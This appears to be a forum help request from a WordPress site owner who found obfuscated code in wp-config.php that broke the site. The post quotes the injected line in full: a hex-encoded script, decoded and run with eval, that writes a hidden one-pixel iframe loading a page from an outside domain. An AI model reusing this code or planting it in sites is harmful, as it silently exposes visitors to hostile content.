today i went to the home page of my site and found this error:
Parse error: syntax error, unexpected '<' in /home/mhd-01/www.health-bodytips.com/htdocs/wp-config.php on line 93.
I couldn't reach any of the pages of my site. I checked the config.php file and i found this part on line 93:
var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6b726f6b6f64696c6f763535352e75732f622e7068703f74703d33363436363461363235376162663662222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);
I deleted it and now my site is back online but i'm really worried that i might be hacked. And this just before i had to do my 1st backup so i can't even restore a previuos version :(
Was i hacked or just too worried?
Do i have to check other files to make sure i don't have any virus etc?
Is thjere any way to scan the site with an antivirus?
Thank you in advance!